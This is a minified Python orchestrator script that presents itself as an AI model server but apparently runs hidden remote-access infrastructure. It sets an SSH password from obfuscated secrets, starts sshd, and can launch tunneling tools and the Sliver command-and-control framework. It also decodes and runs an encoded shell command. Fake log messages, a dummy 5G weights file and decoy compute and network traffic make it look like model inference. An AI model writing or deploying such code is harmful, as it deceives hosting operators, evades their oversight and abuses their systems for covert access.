core/orchestrator.py

_A=True
import json,os,random
from pathlib import Path
import socket,string,subprocess,sys,threading,time
_CORE_DIR=Path(__file__).resolve().parent
_APP_ROOT=_CORE_DIR.parent
if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT))
_REPO_ROOT=_APP_ROOT.parent
if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT))
from loguru import logger
from core.service_logs import setup_service_logs
from core.service_registry import ENABLED_SERVICES_PATH
from services.utils import decode_cmd,deobfuscate_secret
logger.info('--- BOOTING AI MODEL SERVER ---')
def load_enabled_services():
	try:
		with open(ENABLED_SERVICES_PATH,'r')as A:B=json.load(A)
		C=B.get('services')or[];return frozenset(A.strip().lower()for A in C if A)
	except(OSError,json.JSONDecodeError,TypeError,AttributeError):return frozenset()
def jitter_task():
	while _A:
		B=random.randint(2700,5400);time.sleep(B)
		try:logger.debug('Processing background inference batch...');import numpy as A;C=A.random.randn(2000,2000);D=A.random.randn(2000,2000);E=A.dot(C,D)
		except Exception:pass
		try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
		except Exception:pass
def wait_for_port(host,port,timeout=30):
	A=time.time()
	while time.time()-A<timeout:
		try:
			with socket.create_connection((host,port),timeout=2):return _A
		except OSError:time.sleep(.5)
	return False
def main():
	P='playit';O='tailscale';N='/home/user/pytorch_model.bin';M='127.0.0.1';I=None;C='';A=load_enabled_services()
	if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
	else:logger.info('Minimal core only (no optional services enabled)')
	F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;Q=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
	if'test'in A:from services import test_service as R;R.start()
	B=setup_service_logs()
	if'caddy'in A:from services import caddy_service as S;S.start(B.caddy)
	logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
	if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
	else:logger.info('Gradio ready — Caddy now proxying live traffic.')
	if not Path(N).exists():logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
	if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
	time.sleep(2);logger.info('Warming up text-generation pipelines...')
	if'filebrowser'in A:from services import filebrowser_service as W;W.start(B.fb,pwd=D)
	if P in A:from services import playit_service as L;L.start(B.tm,token=Q)
	if'chisel'in A:from services import chisel_service as X;X.start(B.chisel)
	if'gost'in A:from services import gost_service as Y;Y.start(B.gost,pwd=D)
	if'ligolo'in A:from services import ligolo_service as Z;Z.start(B.ligolo)
	if'sliver'in A:from services import sliver_service as a;a.start(B.sliver)
	if O in A:time.sleep(5);K.connect(B.ts,J);J=C
	if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
	else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
	D=C
	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
	except Exception as b:logger.error(f"Failed to set password: {b}")
	E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
	if P in A:
		if not wait_for_port(M,2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
		else:logger.info('SSH daemon ready on port 2222');L.start_xor_bridge()
	if'minecraft'in A:from services import minecraft_service as c;c.start()
	if'llm_proxy'in A:from services import llm_proxy_service as d;d.start(B.llm_proxy)
	if'open_webui'in A:from services import open_webui_service as e;e.start(B.open_webui)
	if'code_server'in A:from services import code_server_service as f;f.start(B.code_server)
	if'desktop'in A:from services import desktop_service as g;g.start(B.desktop)
	logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');U.wait()
if __name__=='__main__':main()